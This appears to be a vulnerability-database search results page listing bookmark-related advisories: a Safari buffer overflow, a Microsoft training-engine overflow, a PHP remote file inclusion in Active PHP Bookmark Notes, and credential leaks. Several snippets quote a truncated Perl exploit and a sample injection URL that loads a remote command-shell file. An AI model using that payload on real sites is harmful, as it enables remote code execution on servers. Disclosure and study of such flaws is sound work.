818 matches found
CVE-2007-3743
Stack-based buffer overflow in bookmark handling in Apple Safari 3 Beta before Update 3.0.3 on Windows allows user-assisted remote attackers to cause a denial of service application crash or execute arbitrary code via a bookmark with a long title...
CVE-2007-3743
CVE-2007-3743 describes a stack-based buffer overflow in Apple Safari 3 Beta on Windows caused by a bookmark handling vulnerability with an excessively long bookmark title. The issue allows user‑assisted remote attackers to crash the browser or potentially execute arbitrary code. Exploitation det...
CVE-2007-3743: Improper Restriction of Operations within the Bounds of a Memory Buffer
Stack-based buffer overflow in bookmark handling in Apple Safari 3 Beta before Update 3.0.3 on Windows allows user-assisted remote attackers to cause a denial of service application crash or execute arbitrary code via a bookmark with a long title...
Apple Safari for Windows书签标题缓冲区溢出漏洞
Apple Safari是一款WEB浏览器。 Windows平台下的Apple Safari处理书签标题存在缓冲区溢出问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 处理书签的标题字段超过1024字节，可使Windows平台下的Apple Safari触发缓冲区溢出，精心构建提交数据可能以应用程序进程权限执行任意指令。 Apple Safari 3.0.2 Beta for Windows 目前没有解决方案提供： http://www.apple.com/safari/ html head...
Safari bufer overflow
Buffer overflow during creation of bookmark for the page with oversized title...
Safari Bookmarks Buffer Overflow Vulnerability
Safari 3.0.2 522.13.1 OS Windows XP SP2 At processing title field, which consists more than 1024 bytes at addition in a bookmark there is a buffer overflow. html head...
Buffer overflow
Buffer overflow in Apple Safari 3.0.2 on Windows XP SP2 allows user-assisted remote attackers to cause a denial of service crash and possibly execute arbitrary code via a long value in the title HTML tag, which triggers the overflow when the user adds the page as a bookmark...
Microsoft Step-by-Step Interactive Training bookmark buffer overflow
Added: 05/04/2007 CVE: CVE-2006-3448 BID: 22484 OSVDB: 31883 Background Microsoft Step-by-Step Interactive Training is the engine used by various training programs. Problem A buffer overflow vulnerability in Microsoft Step-by-Step Interactive Training allows command execution when a specially...
Microsoft Step-by-Step Interactive Training bookmark buffer overflow
Added: 05/04/2007 CVE: CVE-2006-3448 BID: 22484 OSVDB: 31883 Background Microsoft Step-by-Step Interactive Training is the engine used by various training programs. Problem A buffer overflow vulnerability in Microsoft Step-by-Step Interactive Training allows command execution when a specially...
Remote file inclusion
PHP remote file inclusion vulnerability in templates/head.php in Active PHP Bookmark Notes APB 0.2.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the APBSETTINGStemplatepath parameter. NOTE: this issue might be related to CVE-2003-1254...
CVE-2007-1621
PHP remote file inclusion vulnerability in templates/head.php in Active PHP Bookmark Notes APB 0.2.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the APBSETTINGStemplatepath parameter. NOTE: this issue might be related to CVE-2003-1254...
CVE-2007-1621
PHP remote file inclusion vulnerability in templates/head.php in Active PHP Bookmark Notes APB 0.2.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the APBSETTINGStemplatepath parameter. NOTE: this issue might be related to CVE-2003-1254...
CVE-2007-1621: Undefined Security Weakness
PHP remote file inclusion vulnerability in templates/head.php in Active PHP Bookmark Notes APB 0.2.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the APBSETTINGStemplatepath parameter. NOTE: this issue might be related to CVE-2003-1254...
Active PHP Bookmark Notes <= 0.2.5 Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================ Active PHP Bookmark Notes cmd shell example: Ex: http://localhost/apbn/templates/head.php?APBSETTINGStemplatepath=http://localhost/tryag.txt Greetz To: Tryag-Team &...
Active PHP Bookmark Notes <= 0.2.5 Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl Active PHP Bookmark Notes 0.2.5 = Remote File Inclusion Exploit Download S: http://sourceforge.net/projects/apbn/ Discovered & Coded by: GloDM = Mahmoodali perl GloD.pl target cmd shell location cmd shell variable cmd shell example:...
Active PHP Bookmark Notes 0.2.5 - Remote File Inclusion
Active PHP Bookmark Notes 0.2.5 - Remote File Inclusion !/usr/bin/perl Active PHP Bookmark Notes 0.2.5 cmd shell example: Ex: http://localhost/apbn/templates/head.php?APBSETTINGStemplatepath=http://localhost/tryag.txt Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group use LWP::UserAgent;...
Active PHP Bookmark Notes 0.2.5 - Remote File Inclusion
!/usr/bin/perl Active PHP Bookmark Notes 0.2.5 cmd shell example: Ex: http://localhost/apbn/templates/head.php?APBSETTINGStemplatepath=http://localhost/tryag.txt Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2;...
Quicksilver Social Bookmark information leak
User login and pasword are logged to Console.log file...
[Full-disclosure] Firefox bookmark cross-domain surfing vulnerability
There is an interesting vulnerability in how Firefox handles bookmarks. The flaw allows the attacker to steal credentials from commonly used browser start sites for Firefox, Google is the seldom changed default; that means exposure of GMail authentication cookies, etc. The problem: it is relative...